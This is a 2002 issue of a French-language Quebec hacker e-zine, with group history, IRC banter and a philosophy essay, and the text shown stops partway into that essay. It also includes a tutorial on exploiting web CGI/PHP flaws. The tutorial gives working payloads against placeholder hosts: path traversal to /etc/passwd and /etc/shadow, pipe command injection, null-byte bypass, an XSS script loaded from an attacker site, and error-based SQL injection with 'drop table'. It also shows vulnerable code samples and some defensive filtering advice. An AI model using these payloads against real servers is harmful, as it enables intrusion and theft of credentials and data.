_____ _ _______ __________ _ _ ,______ __ _______. | \ \____ _ ___\ \ \ | \ \ \ | \ ______ ___ ____________ ____ __ \ \ . \ \ \ \ \ ____ _\ ' \ \ \ \ __ \ / | | |\ /| ' . ' ' '. \ ' | . ' | . ' . | | | | | | | | | | .__________| |__________| |__________| |__________| |_________| |_ _ _____| \____________/ ___________ _______ ___ | | / / | | ______ | | / / ______ | | |__ | | / / |______| | | ___ ___ | | | |/ / | | __| |_| |__ _| |_ | / ___________ _____,' || | |_______| | \ _ ____ | \ / ||__ _ __| ,_ __ | \ | | | __ \ | . | __| |_| |__ / \ | |\ \ | | | | | | | || | | _|_ | |__________| \_________\ | | |_____| |_____| \_____ _,__||__ _ __| | | | ___ _____ _ ____________,' '__ _ ________ _______________ _____ |___| |___| \_ ___/ | \____ ___ The smilling script kiddies strike again ; mindkind e-zine issue #10 __ __ __ | ************** * == *************** || ************* || ********** || * ********* +--||-+, +-----+, ******* |'+-----+ |'+-----+ ****** \ |;|.....| |;|.....| *** \\ |,|.....| |,|.....|**** \\ |,|.....| |,|.....|**** >-Mindkind-> |,|.....| |X|.....|** // |,|.....| |X|.....| // |,|.....| |X|.....| / |,|..P..| |,|..Q..| -= Mindkind 10 =- |,|..Y..| |,|..H..| -= L'attaque du Québec Undergrounne Center =- |,|..R..| |,|..A..| |,|..O..| |,|.....| -= Joyeux 11 septembre =- |,|.....| |,|.....| |,|.....| |,|.....| |,|.....| |,|.....| |,|.....| |,|.....| |,|.....| |,|.....| |,|.....| |,|.....| |,|.....| |,|.....| |,|.....+-----+,|....+--------+, |,|.....|'+-----+....|'+--------+ +--------------------+, |,|.....|,|.....|....|,|........| |'+--------------------+ -------, |,|.....|,|.....|....|,|........| |,|....................| +-------+ |,|.....|,|.....|....|,|........| |,|....................| |.......|----------+..|,|.....|....|,|........| |,|....................| |.......|-----------+.|,|.....|....|,|........| |,|....................| |.......|...........|-|,|.....|----|,|........| |,|....................| |.......|...........| |,|.....| |,|........| |,|....................| |.......|...........| |,|.....| |,|........| |,|....................| |.......|...........| |,|.....| |,|........| |,|....................| |.......|...........| +,|.....| +,|........| +,|....................| +-------+-----------+ '+-----+ '+--------+ '+--------------------+ -------------------------------------------------------------init_null---- Vous savez tous comme moi. qu'un disclaim, ça sert entre autre à deux choses, un se laver les mains de cque vous pourriez faire de stupide avec l'information qu'on vous donne (surtout si vous le faite imprimer, faite attention avec la brocheuse) et à justifier le produit. Ceci dit, faite comme si c'était fait, car vous ne verrez pas l'ombre d'une excuse, d'une justification ou de quoi que ce soit en ce genre dans ce disclaim. Par contre, on a retrouvé vos clef de char, elles étaient ici finalement. __________ / H0nd4 | ____________________/ __ | / ------------------ | | | \ | | | \/\/\/\/\/\/\/\/\/\/\ |__| | \ R4c|ng | \_________| En général la plupart des groupes se servent de leur disclaim pour blaster les autres groupes et envoyer leur blast de merde. Cependant, il se passe tellement rien dans la scène depuis 2 ans, que à coup sûr personne n'a été con à une assez grande échelle pour que ça vaille la peine d'en parler. Alors on va se contenter de toute vous blaster pour avoir rien faite et que j'en voye pas un nowhere venir dire qu'on fait dla marde, qu'il se regarde avant, il a moisi dans son jus depuis 2 ans. On aurait bien pû se rabattre sur les classiques binf, spyd et cie, mais malheureusement ils sont out2date, alors, on s'excuse, mais on vous promets de trouver une nouvelle tête de turc pour le prochain ezine. J'vas donc en profiter pour traiter le CRTC d'une gang de nazis qui veullent étouffer la seul vrai radio au Québec, CHOI RADIO X. Jean Chrétien pour être toujours aussi cave, et qui risque d'endetter le Canada encore plus juste pour qu'on se souvienne de lui. Les employés de Vidéotron qui m'on fait perdre Internet 5x en 2 semaines (criss de bande de caves), tout ceux qui voterons pas ADQ aux prochaines élections (fucking retard) et Sarah michelle Gellar, qui se marie avec freddie prince junior (criss de folle). Afin de s'assurer une meilleure flexibilité, nous avons divisé Mindkind en 4 départements distincts. Soit Hacking, Coding, Phreaking et Philosophie. En quoi ça change votre vie ? Et bien, ça va simplifier les communications advenant le cas que vous désireriez nous faire part d'un commentaire, soumettre un projet, voir soumettre votre candidature pour joindre notre projet (la seule discrimination faite est envers la stupidité). donc Commentaires, propositions, acclamations, (generic.o) Mindkind@mindkind.org Hacking MindFlayR@mindkind.org Coding LastCall@mindkind.org Phreaking c4ndu@mindkind.org Philosophie Wyzeman@mindkind.org Alors, si vous désirez communiquer avec nous, vous savez maintenant par où passer dépendamment du sujet de votre requête, si vous êtes pas sur, opter pour mindkind@mindkind.org Sur irc vous pouvez nous rejoindre sur les channel #mindkind de Undernet, Dalnet, Efnet et OpenProjects. Tout ces chans sont reliés via botnet à notre HQ sur Undernet, alors on vous manquera pas, même si on a l'air pas la. Wyzeman _/_/_/ _/_/_/ _/_/ _/ _/_/ _/ _/ _/ _/_/ _/ _/ _/ _/_/_/ _/ _/ _/_/ ----------------------------- _______________ __________________________ _____________ ________ (___ _____ _ _______ _____ __ _ __ _________________ _____ ___) ___\ \_ ______ _______________ _____ __ ___ _____ __ ____ \ \__ | | NB TITLE AUTEUR | | 10.1 Le patrimoine lémurien LastCall_ | 10.2 Un CGI scomme un radio de char, tlt buggé MindFlayR | 10.3 Cette article n'existe pas Wyzeman | 10.4 Easy way to free VBM c4ndu | 10.5 Reverse Engeneering on the fly [Funky] | 10.6 Internet kessé ça ? LastCall_ | 10.7 Savais-tu ? Internet est composé à 80% d'eau LastCall_ | 10.8 Life suxx, so be it h3 | 10.9 Trojan horse the sequel Wyzeman | 10.10 Perl harbor LastCall_ | 10.11 No is'nt Wyze boredom2k | 10.12 Armoring Slackware again Wyzeman | 10.13 Gotcha not Gotcha MindFlayR | 10.14 Nostalgie ou badtrip ? LastCall_ | 10.15 Easy way to free internet with free VBM c4ndu | 10.16 Sleeping is bad Tigerbalm | 10.17 Guerre epais Wyzeman | 10.18 News from the front The Staff __ ___ __ ___\ \_____/__ \_______ __________ _____________________ _____ |_______\ \_______\ \______________ _______ ________ __________ __| \ \_/ / \ \______ \___/ \____o O/ - why you r looking at me? \'/ _________ _ _ _______________ ___________ _______ MindKind10 __ _ __ __/ / | / / | Le patrimoine Lemurien, by LastCall_ / 10.1 / ' aka: Stun peu comme TV hebdo . ----- / \_ _______ ______ _____ __ __ ___________ _______________/ ' /________/ Le patrimoine lémurien vous présente : Histoire de Mindkind; the dark ages & la renaissance Mai 2001 : The start and crash Le ezine 1 est releasé. Tout le monde est heureux de l'avoir sorti paske cé hot avoir un ezine de 261k qui prend 90 pages à imprimer au cégep. Sauf que... le ezine se retrouve tout seul. Sans amis. On sait pas trop pourquoi, mais personne a été réellement contre, ou pour. Bien sûre on avait quelques fans et quelques CHOU qui nous on dit qu'on était trop baveux. On nous a aussi dit qu'on c'était PLANTER car on a trop faite chier de monde et on a perdu de bons éléments? Well les gens nous ont faite oublier qu'on voulait être "underground" à notre saveur. On était juste un gros ezine, comme un Québec Micro 1999 avec qqn qui sourit sur la page couverture. Rien de plus.. alors Mindkind fut oublié... Juin 2001 : On s'est essayé. Oui on s'est essayé d'en "chier" un deuxième.. mais malheureusement, le fun était pu la du coté à LastCall_ et Wyzeman a fini par être (encore) découragé. Donc tout le monde ont été se cacher de leur coté, et le chan s'est vidé sauf pour 2 personnes : LastCall_ et init_null. Quand Wyze fut parti, notre bon ami d'une autre time zone qui fittait avec notre style de vie (NighWulf!) revenu sur le chan. Et ça nous a fait qqn à jaser... Juillet 2001 : Un chan de idleux, un ezine oublié Pendant que les gars baisaient (init s'adonnait au fétichisme du menton et Last .. humm sans commentaires, et Night vu qui avait la tête en bas pouvait pas rien faire) les bots s'occupaient de faire de la "vie" sur le chan. À part ça, le ezine fut oublié complètement... sauf p-e Last qui l'avait imprimé et l'apparition sur textfiles.org (ou de quoi du genre). Bien sûre, il y a eu le splendide MeetFest (organisé par MagicianX), qui fut très le fun, mais le pauvre MagicianX a perdu espoir en "l'underground". Sûrement que cet underground n'est pu ce qu'il était.. c'est rendu l'undergrounne maintenant. Au moins j'aurai retiré une chose de ça : 1 semaine à bouffer des hotdogs! (hahaha) Aout 2001 : rien sauf à la fin Vu qu'on se tanne pas de baiser (vive l'été hein) si facilement, il a fallu attendre la fin du mois pour que init_null décide de faire une radio. Un assé bon succès, au moins 10-15 users.. LastCall_ de son coté était dans la rue (sans logement), mais il a quand même réussi à lui faire des spots.. c'est d'ailleurs à la fin de ce mois que kidZ, le porte parole de QHA vit le jour. heh Septembre 2001 : Comment LastCall_ est devenu millionnaire en codant un jeu de loterie en Perl Joke. Mais j'ai rien à dire pour septembre? Je pense que Wyzeman est revenu sur le chan, mais sans rien faire de trop trop concret.. à part chatter avec du monde (et oui vous le savez Wyze à tjrs un but avec toute, même si c'est des buts sans but). Aussi, à ce que je me rappel, Last et Wyze avait donné concession à Night pour qui fasse de koi avec Mindkind mais malheureusement on a jamais rien vu de concret... Octobre 2001 : ya tu faite frette cte mois la Wyze a donc fini par faire joiner 56 personnes dans le chan et se remit à faire le site web. On feelait toute tout croche après qu'on savait que les buildings pouvait p-e tomber sur nous, fak le monde se sont mis à faire des articles de PHILO que Wyze s'empressa de mettre sur le web. Novembre 2001 : Mindkind ctun beau nom pareil Le site commençait à être rempli de plus d'articles.. Wyze faisait des TCL à planche et avait fini un paquet d'articles trop lames pour être mis dans le mega élite IGA (qui en passant on fermé le chan PASKE LE MONDE ÉTAIT TROP DES PIPIS!!! haha). On avait entendu l'expression "#2" a quelques reprises (genre un #2 avec des spiribs pis de la sauce soya) et puis Wyze sorti : LastCall_ init_null Qwzykx [FunkY] on sort un #2 ? Qwzykx, qu'on avait pas vu parler sur le chan depuis 1984 disa ttsuite: [16:52] hehe :) hee (deja!?) :) ouais plutot y serait temps :) init poursuivit avec un "ouep ça fiterais" et LastCall_ sorti avec 10 minutes de lag une phrase très conluente et révélatrice : [16:59] yeah La suite se passe de commentaire, mais est rempli d'amour de bonheur et de joie : [16:59] the smiling scripts kiddies will strike again [16:59] ahha [17:00] :] And so on... Fin Novembre 2001 : Mindkind².. ahuuu? Comme si c'était faite exprès pour nous décourager (paranoïa!), une gagne de personne on sorti un Mindkind 2 avant le vrai... wow! Au début on était content de se faire niaiser, ça nous donnait une certaine importance. Mais par la suite on s'est rendu compte que c'était que des propos haineux et sans vrais fondements. Mais le scam marchait bien, c'était drôle, les gens riait des membres de Mindkind (Wyze et Last pour ne nommer qu'eux) ainsi que du "groupe"... LastCall_ leurs répondis avec une séries de stades d'émotions et autres : 1) "haha" cé drôle. 2) Enfin qqn fait de koi (oui de l'action) 3) "haha" ouan.. c ben drole.. mais cé pas assé recherché à mon goût 4) sont chanceux ces enfants la.. y'on encore du temps à perdre 5) Finalement y'on pas plus de substance qu'une garderie à 5$ 6) Mais je suis tjrs aussi h0t (ironie++) 7) Y se batte contre les groupes "caves" en formant un groupe de caves. Donc finalement, des gens ont souffert, d'autres ont rit.. mais rien de constructif n'est venu d'ailleurs que Mindkind ( pyrofreak = la place ou les cons se tiennent, iga = où êtes-vous depuis que __2 a fermé le chan?, nn = encore en criss après nous? ) Décembre 2001 : Mindkind² still here and the père nowel rux La farce continue, mais elle est rendu populaire.. bcp de monde parle de Mindkind² par ci, LastCall_ par la, Wyzeman par ici, le Père Nowel par la. Ce que ça va leurs apporter? En date du 2ième du mois, on ne peut vraiment pas rien prédire... hum, 1 mois plus tard je peux dire que ça la pas faite long feu... hehe. D'ailleurs c'est même toute oublié! Sûrement que la radio 31337 animé par init_null et LastCall_ LIVE AT MONTRÉAL a dû changer les idées de tlm.. :-) http://mindkind.org:8787/radio31337mtl/ Janvier 1984 : Fuck mon editpad passe pas l'an 2001. Choses qu'avec le temps on fini par être écoeuré d'entendre : - Penser vous qui va avoir un bug en 65537 ? > Sacrer nous patience, on va être mort on s'en sacre! - CÉ LAME CTE EZINE > C'est sure on s'appelle pas binf. Mais ail, binf pense la même chose que vous sur nous mais sur vous. - pyrofreak > Ctais pas ben ben marrant lire les derniers pyro.. manque d'essence Ckon aime c de l'autencité.. comme Mindkind qui rip off IGA mais qu'on dirait que cé lame différemment. Mais pkoi vous changer pas de nom? Suggestions : burofreak, biblefreak, igafreak (haha again!) - asv > toute mais pas ça. Janvier 2002 : Zwill zwill Well LastCall_ pis Wyzeman se remettent au boulot encore une fois. Un nouveau site web est créé et quelques outils web le sont itoo. La machine continue de rouler! vroum vroum! Février 2002 : Let's get serious! Bien que les choses avances lentement, les choses avance. Chaque personne impliquée dans le "Projet Mindkind" s'entend pour dire que nous devons commencer à être plus sérieux. On s'est donc entendu pour _vraiment_ recorriger nos articles. Le français est en quelque sorte important et donne plus de crédibilité. Le fun du début s'est maintenant transformer en un fun plus mature. Mars 2002 : how to forget a ezine in 2 hours C'était sûrement ce que plusieurs personnes voulaient depuis longtemps. Ces personnes se sont sûrement réjouies... à rien voir. On a toute dit fuck off pour un ezine sous la pression d'en sortir un paske on est trop "lame" sinon... Wyzeman s'est surtout écoeuré. Les autres ont suivi; faut dire aussi qu'une badluck de HD a faite qu'on a perdu l'autre version du site web.. et Wyze avait mit ben du temps. M'enfin, on était pu intéressé, on était écoeuré de l'hivers... m'enfin toute à été crissé la.. ça prenait qqn que ça lui tente de faire quelque chose et ça y'en avait pas pour Mindkind Ezine. Nyways tout fini par être aux oubliettes... Mai 2002 : toute dégèle.. m'enfin presque Après un gros mois de léthargie pis d'oublie, le monde on commencé à se réveiller. Faut dire que le cégep était à veille de finir, pis que l'université était fini, les vacances d'été étaient la... Last s'est réveiller et a participé à la mise en oeuvre d'un LAN party à Montréal ( http://lan.etsmtl.ca ). Pour Mindkind Ezine, ben yavait pu rien, last avait assouvie ses envies de ezine avec LJNB (http://journal.bidon.ca) et les autres.. well on s'en calice d'un ezine l'été non? M'enfin à part pour plugger des URL de Last le mois de mai a pas servi à grand chose.. Juin 2002 : party fucking hard. Le chan a enfin dégelé.. mais pas full enligné pour faire de quoi de concret... Du genre Wyze était porté disparu (yétait surement encore en train de peinturer des poubelles ;-), mais MindFlayR a rejoins le chan. Pis ya d'autres troubadours qui sont restés sur le chan.. mais on a pas vu d'action online avant juillet.. Fin Juin 2002 : St-Jean alcoolo. Last a faite un petit tour à Québec pour la St-Jean, ça la dégelé un peu les choses entre lui et Wyze... ben à vrai dire toute était plus 'chaud' (on tien à saluer la serveuse dans le fond du Monkey de Qc, qui était sans aucun doute, d'une chaleur intense). Juillet 2002 : va zy mollo mais va zy mon gros Wyzeman a fini par lâcher IGA. Eh oui, grande primeur, y'était supposé avoir un autre IGA, mais ça d'lair que __2 s'en amusait pas assé? Pour les gens qui voulaient voir qqchose c'était pas fort... on regardait autour, on voyait pyrofreak avec le clown à Patoff qui déplug des machines avec des CPUs dans les centres d'achat... pathétique (jeu de mots pyro!). Pas fort.. même QHA a pu faite parler de lui (sûrement que la page web avec encre un new look était en préparation!). Même LJNB le journal side line #346 de last était en "relâche".. donc tout le monde s'est pitché sur Mindkind. Article ici, projet par la, y'a fallu attendre en août pour voir le résultat. Août 2002 : wow du monde Le chan s'est magiquement peuplé. On peut dire que le chan est la base de la chose, car vu que les lémuriens Mindkind sont éparpillés à travers tout le Québec, IRC demeure l'endroit de prédillection (surtout avec une key, c'est tranquille (et un ban sur Flopik... ahh la paix). Donc le chan a grimpé à 20 users (par chez nous on compte les bots comme des êtres à part entière!). Ça commença donc à être intéressent, tant de ressources, tant de choses qui se brassent. MindFlayR a enregistré mindkind.org (yah un domaine!) car le .wox.org nous a faite chier. Last a fait un CVS sur SourceForge sans trop de succès ( http://mindkindware.sourceforge.net ) mais les autres ont aussi fait un paquet d'affaires dans leurs coins.. Articles, botnet, scripts pour eggdrop/mirc, alouette. On s'est ramassé une bonne gagne de personnes et un mélange hétérogène : unix/win, gars/filles, hack/philo, etc... C'était tiguidou et c'est en septembre que nous avons décidé de lancer le ezine.. car après tout, nous n'avions pas perdu notre tribune, nous avons juste fermé notre yeule pendant un boutte. Septembre 2002 : + Mindkind L'action va de bon train, on peut dire que ENFIN il y a une certaine atmosphère d'action... À ce jour nos chers collaborateurs sont : Wyzeman, LastCall_, MindFlayR, c4ndu, init_null, [FunkY], Orange_, Zarath, XeliteX, h3, ExPl0iTeD, RaZerSide, Tigerbalm, ticker, Calamite, MacBeth21 et quelques autres. Tous oeuvrant dans des domaines différents, aidant de leurs bords le collectif, aidant les autres, gossant si, discutant de t'ça, écrire si, coder ça.. la joie! C'est donc dans cette atmosphère radieuse (insert music kétaine here) rempli de bonheur, de joie, de bytes, d'amour, de pixels et de prospérité, que Mindkind 10 est lancé. Heuu ouan... c't'un peu trop kétaine.. mais nyways, on se marre car ce ezine est bcp mieux que le supposé deuxième de l'année d'avant... + libre.. + leet.. + l'fun.. + Mindkind. _____ _ _ ______________ _ __ __ _ _________ _ _ _______________ | |\ | |\ | EOF | | | LastCall_ lastcall@mindkind.org | | |_____| | |__ _ ________ _______________ ___________________ ________| | \_____\| \____________ _____________________________________________\| < Mindkind tales from IRC > (pour respecter l'anonymat de MindFlayR nous allons cacher son nick) [20:37] tu voit pas se que j'Ecris sur mindkind serieux ? [20:38] non! [20:38] haha [20:38] criss [20:38] donc bin fucker mon psybnc [20:38] :P [20:38] hahaha [20:38] ca veux dire fais 2 mois je parle totu seul sur les chan [20:38] :P [20:38] JHAHAHAHAHAH [20:38] c capotant [20:39] jchtai parler [20:39] jparle vraiment tout seul depusi des mois :P [20:39] jmen sens cellule la [20:40] 17:40] [LastCall_] hey MindFlayR t la? [20:40] genre [20:40] jai pas rien vu [20:40] hahahah [20:40] ca fais depuis fin mars g se psybnc la [20:41] criss chui cave [20:41] jen reviens pas [20:41] ma brailler jpense [20:42] jmen demandais aussi pkio tout le monde m'ignorauis [20:42] :P < ----------------------- > _________ _ _ _______________ ___________ _______ MindKind10 __ _ __ __/ / | / / | Find CGI hole in your fav CGI appz, by MindFlayR / 10.2 / ' aka: sometimes, cgi application are real bitch . ----- / \_ _______ ______ _____ __ __ ___________ _______________/ ' /________/ Bon, ce texte à pour but de vous apprendre à découvrir les failles cgi/php/asp les plus courantes. Question de pas se faire chier à lire un texte inintéressant sur le sujet, j'ai décidé de partir à la conquête des cgi mal codé sur le web pour vous montrer à quoi peut mener la découverte d'une vulnérabilité semblable. Il existe des centaines de scripts mal protégés sur le web, je vais tout simplement vous expliquer comment les découvrir. Erreur de filtrage (include) ========= la faille de loin la plus facile et la plus courantes sur le web Cible: http://www.vulnserv.com/index.php?page=prat_gard.php la technique est en fait très simple, il suffit de remplacer la valeur de page= pour lire n'importe quel fichier sur le serveur avec les droits d'accès du httpd. Résultat: http://www.vulnserv.com/index.php?page=../../../../../etc/passwd Il est donc possible de rassembler des informations sur le serveur ou de lire les passwords cryptés si la shadow-suite n'est pas installée sur le serveur. Il est aussi possible de lire le /etc/shadow si le script run en root. Exemple de script vulnérable en Perl $this = $ENV{'QUERY_STRING'}; #prends l,input de l'user et le mets dans la variable $this open(FILE, "$this"); #ouvre le fichier @stuff = ; #mets le contenu du fichier dans @stuff close(FILE); print "Content-type: text/html\n\n"; #afficher le contenu au client print "\n"; print @stuff; print ""; Erreur de filtrage (command ou system) ========= L'objectif est de pouvoir exécuter une commande sur le serveur avec les droit d'accès du serveur web. Cible: http://www.vulnerable-server.com/cgi-bin/pwesson.cgi?page=ls%20-al| Avec cette technique, il est possible de compiler un port binder ce qui nous permet d'avoir un shell possédant le uid du httpd. Cela permet au hacker de prendre contrôle de votre machine à distance et peut mener directement à un accès root illégitime. Autres exemples: http://www.vulnerable-server.com/cgi-bin/pwesson.cgi?page=id| http://www.vulnerable-server.com/cgi-bin/pwesson.cgi?page=/../../../../../../../../bin/id| http://www.vulnerable-server.com/cgi-bin/pwesson.cgi?page=|id\0 Fausse extension de fichier ========= La faille est une modification d'une erreur de filtrage. Elle permet de déjouer les scripts qui vérifient l'extension du fichier demandée par le script cgi. Cible: http://www.vulnserv.com/cgi-bin/news.pl?file=comm Résultat: http://www.vulnserv.com/cgi-bin/news.pl?file=../../../../../../../../../etc/passwd ne marche pas http://www.vulnserv.com/cgi-bin/news.pl?file=../../../../../../../../../etc/passwd%00 marche L'emploi du nullbyte en unicode (%00) permet de bypasser la protection vérifiant l'extension du fichier. Il existe 2 façon de l'employer. Comme certain script vérifie si l'extension est .html par exemple, il suffit de mettre l'extension demandée après le %00 Exemple: http://www.vulnserv.com/cgi-local/shop/cb.cgi?page=../../../../../../../../../etc/passwd%00 I am sorry, but you may only use this program to view HTML pages. If you absolutely MUST view non-HTML pages within your store, you must modify lines 79-81, but be careful, doing so may make your system vulnerable to hackers.No recipient addresses found in header ton système est déjà vulnérable mister preuve: http://www.vulnserv.com/cgi-local/shop/cb.cgi?page=../../../../../../../../../etc/passwd%00html Il est donc possible de rassembler des informations sur le serveur ou de lire les password crypter si la shadow-suite n'est pas installer sur le serveur. Il est aussi possible de lire le /etc/shadow si le script run en root. (same as #1) Encoding: Il est possible de crypter nos attaques en url-encode ou encore en hex question de bypasser les IDS ou tout simplement les protections de faible niveau. PHP system() command ==================== la commande insérer dans une serveur web peux causer une grave vulnérabilité au niveau du webserver exemple, appelons un fichier .php comprenant le code bleh.php Il suffit de faire www.serveurvuln.com/bleh.php?cmd=ls pour exécuter la commande ls sur le serveur. Donc l'utilisation de la commande system est à éviter pour des raisons de sécurité. Cross-Scripting Vulnerability ============================= Elle consiste en l'exécution de code javascript directement dans le browser ou tout simplement en guidant le cgi sur un site (celui du pirate de préférence). Le code fautif est par exemple en php echo $HTTP_GET_VARS["data"]; Donc, une requête http du genre http://www.serveurvuln.com/script.php?data= Va exécuter le mechantscript.js sur le www.serveurvuln.com ou il est aussi possible de faire la requete en url-encode ce qui donnerais quelque chose comme http://www.serveurvuln.com/script.php?data=%3Cscript+src%3D%22http%3A%2F%2Fwww.bleh.org%2Fmechantscript.js%22%3E%3C%2Fscript%3E Un autre bon exemple est par exemple http://www.vulnserv.com/perl/search/search.pl?text=vyucujici le proof of concept nous montre qu'avec http://www.vulnserv.com/perl/search/search.pl?text="> une fenetre d'alerte s'ouvrira :) Le code fautif doit ressembler à #!/usr/bin/perl use CGI; my $cgi = CGI->new(); my $text = $cgi->param('text'); print $cgi->header(); print "You entered $text"; Nous pouvons limiter les caracteres possible avec la commande $text =~ s/[^A-Za-z0-9 ]*/ /g; [ Note de LastCall_ : moi je vous conseil de mêtre #!/usr/bin/perl -T au début, ça va vous avertir pour tout les problèmes potentiels. ] Strutured Query Language (SQL) injection ======================================== Le bug consiste à insérer une série de commande SQL dans une "query" en manipulant les données envoyées à l'application. Une commande SQL ressemble à ceci : select nom, prenom, surnom from groupe01 Cette commande permet de sélectionner les colonnes "nom", "prenom" et "surnom" de la table "groupe01". Il est aussi possible de spécifier un "membre" du groupe par exemple : select nom, prenom, surnom from groupe01 where prenom = 'martin' Il est important de remarquer les '' autour de martin L'injection consiste alors a executer une commande comme select nom, prenom, surnom from groupe01 where prenom = 'martin'; drop table groupe01-- qui effacerait bien sur la table groupe01 Il est aussi possible de déterminer le contenu d'une table SQL avec l'aide de cette technique. Pour les besoins de la cause, nous allons attaquer un site protéger par un l/p relie a une table MSSQL. Nous exécutons la commande ' having 1=1-- dans la case login du site ce qui nous donne comme résultat Microsoft OLE DB Provider for ODBC Drivers error '80004005' [INTERSOLV][ODBC Informix driver][Informix]The column (user_id) must be in the GROUP BY list. /reports/include/HCIAUtil.asp, line 71 user_id étant bien sur le nom de la premier colonne. Alors nous continuons l'injection avec la commande 'group by user_id having 1=1-- ce qui nous donne comme resultat Microsoft OLE DB Provider for ODBC Drivers error '80004005' [INTERSOLV][ODBC Informix driver][Informix]The column (password) must be in the GROUP BY list. /reports/include/HCIAUtil.asp, line 71 donc nous continuons avec la commande 'group by user_id, password having 1=1-- Ainsi de suite jusqu'a ce que nous possédions le nom de toute les colonnes de la table Après nous devons définir le type de data que chaque colonnes possède. Nous avons pu découvrir que la table contenais 3 colonnes nommer "user_id", "password" et "user_type" Nous exécutons donc la commande 'union select sum(user_id) from users-- qui donne comme message d'erreur Microsoft OLE DB Provider for ODBC Drivers error '80004005' [INTERSOLV][ODBC Informix driver][Informix]Sums and averages cannot be computed for character columns. /reports/include/HCIAUtil.asp, line 71 Nous savons donc que la colonne "user_id" est de type character 'union select sum(password) from users-- la colonne password aussi 'union select sum(user_type) from users-- Analyser un code source ======================= Les erreurs de programmation permettant une de ces attaques sont souvent causés par une de ses commandes PHP --- require() include() eval() preg_replace() exec() passthru() `` (backticks) system() popen() Shell Scripts ------------- toujours TRES dangereux Perl ---- open() sysopen() glob() system() '' (backticks) eval() Java(Servlets, JSP s) --------------------- toute les commandes System.* (specialement System.Runtime) C ou C++ -------- system() exec**() strcpy strcat sprintf vsprintf gets strlen scanf() fscanf sscanf vscanf vsscanf vfscanf realpath getopt getpass streadd strecpy strtrns Python ------ exec() eval() execfile() compile() input() Rendre vos codes plus secures ============================= Il faut a tout pris filtrer les requêtes faites a vos application web. Les generics meta-caracters doive être éviter le plus possible. Les caractères causant problèmes sont Caractères Problèmes ---------- --------- ; execution de commande | execution de commande ! execution de commande & execution de commande %20 espace, fake url %00 nullbyte, mauvais string, nom de fichier %04 fausse fin de fichier %0a nouvelle ligne, execution de commande %0d nouvelle ligne, execution de commande %1b escape %08 backspace %7f delete ~ tilde ' " guillemets, base de données - base de données, nombre négatif *% base de données ` backstick, execution de commande /\ slash, backslash, fake query ou path <> LT, GT ? code/script $ code/script @ code/script : code/script Il y a très peu de raison d'utiliser ses caractères dans une application web légitime. J'espère que vous avez appris quelque chose en lisant cet article, somme toute, incomplet. Je ne peux que vous conseiller de vous tenir a jour sur le sujet. Donc amuser vous avec ça, coder brillamment, et optimiser la sécurité de vos sites web pour votre propre bien (et celui de vos donnés). Merci à: Zenomorph, medgi, LastCall_, Wyzeman, Chris Anley, Paul Lindner, The Open Web Application Security Project, David Wong, b0iler _____ _ _ ______________ _ __ __ _ _________ _ _ _______________ | |\ | |\ | EOF | | | MindFlayR MindFlayR@mindkind.org | | |_____| | |__ _ ________ _______________ ___________________ ________| | \_____\| \____________ _____________________________________________\| < Mindkind tales from IRC > [20:43] ché po mon ami a un router pis cetais la meme chose [20:44] :) [20:44] yetais sur openbsd [20:46] bas ca ché po mais mon ami ya po eu dla misere [20:46] pis ya 13 ans [20:46] ouais ouais. jsupose qui code en asm. [20:46] pis qui sait voler. < ----------------------- > _________ _ _ _______________ ___________ _______ MindKind10 __ _ __ __/ / | / / | In the middle of nowhere, by Wyzeman / 10.3 / ' aka: no where, not now here . ----- / \_ _______ ______ _____ __ __ ___________ _______________/ ' /________/ Contempler ce qui vous entour, ce que vous possédez, ce que vous trouvez beau. Incrustez les dans les moindres détails a l'intérieur de votre cerveau, car il n'existe pas. Maintenant oublier tout ce que vous savez ou croyez savoir, oublier jusqu'à même votre existant car tout ceci est vain, vous n'existez pas plus. Vous ne me croyez pas ? Lisez ce texte, il explique ce qu'est en fait la vie (bref ce qu'elle n'est pas). L'antithèse du néant, ou le néant qui n'existait pas. Par définition, le néant, est l'absence de toute chose. Ça tout le monde est d'accord sur ce point. A partir de ce point il est relativement facile d'expliquer que le néant ne peu pas exister et je ne serai probablement pas le premier à le faire. Mais laissez moi vous l'expliquer tout de même. au premier degrés, on peu conclure, que puisque le néant est l'absence de toute chose et est donc en lui même, rien, pas même du vide car ça le ferais être, donc il ne serait plus néant. De plus le néant ne peut pas avoir de limite, car ses limites donneraient une forme au néant, donc le rendraient quelque chose, (rien avec de quoi autour) bref, pour que le néant puisse être il faudrait qu'il n'existe rien ce qui n'est manifestement pas le cas puisque nous existons (oui je sais que cette phrase est en contradiction avec ce que j'ai dit au début, mais attendez plus loin avant de chialer) et finalement, le néant ne pourrait pas exister car le simple fait d'exister le ferait être quelque chose, ce qu'il ne peu pas être, vous saisissez? Bon à quoi ça rime tout ça avec le fait que notre monde n'existe pas ? à rien pour l'instant, c'est pourquoi nous allons poussez un peu notre réflexion sur le néant en ajoutant une preuve supplémentaire qu'il ne peut exister en se basant sur le concept de la dualité des choses. quel est ce concept ? et bien c'est le fait qu'une chose ne peu exister sans sont contraire. ex: la vie ne peu pas exister sans la mort, pour quel raison me direz vous ? et bien, la vie perd toute sa signification si la mort n'existe pas puisque le propre de la vie c'est d'être ce qui n'est pas mort. donc si la mort n'existe pas, la vie ne peu pas être ce qui n'est pas mort. cette théorie est simple lorsqu'on fait face a des concepts dont nous avons trouver des mots pour designer leur contraire, mais quel est le contraire du rouge ? on serais porter a répondre le bleue (le bleu est toujours opposer au rouge) mais ce n'est qu'une perspective car l'absence de bleue n'empêche en rien le rouge d'exister ou vice versa. le contraire du rouge n'est donc pas une autre couleur, mais l'absence de rouge. Donc si on applique ça au néant. le contraire du néant est la totalité de ce qui existe, pour des raisons de simplicité j'utiliserais le concept religieux de la création pour désigner l'ensemble de tout ce qui existe. Donc, pour que le néant existe, la création doit exister mais si la création existe, le néant ne peu exister car il annihilerais par le fait la création, donc sans la création le néant n'existerait pas non plus, car il perdrais le contraire qui lui permet d'exister. Par contre, la création ne peut pas exister sans le néant, et si le néant existe la création n'existe pas (c'est le même principe du point de vue de la création). Donc avec ou sans le néant, la création ne peu pas exister elle ne peut même pas ne pas exister car pour ne pas exister on doit être mais elle n'est même pas, elle est du néant qui ne peut exister non plus pour les raisons expliquées précédemment. Donc la création qui est tout ce qui existe, n'existe pas, car si elle existait le néant existerait donc nous n'existerions pas puisque nous sommes quelque chose et nous ne pourrions être au centre du néant(ou à quelques points que se soit (ce qui est ridicule puisque aucun point ne peut exister dans le néant)) ou sinon nous ne pourrions partager de l'espace avec le néant ce qui l'auto détruirait par le paradoxe de son incapacité à être quelque chose. (On pourrait tourner longtemps en rond comme ça sans arriver nul par). Conclusion, nous n'existons pas car notre contraire est incapable d'exister. la multiplexion de la réalité Cette théorie se base sur la 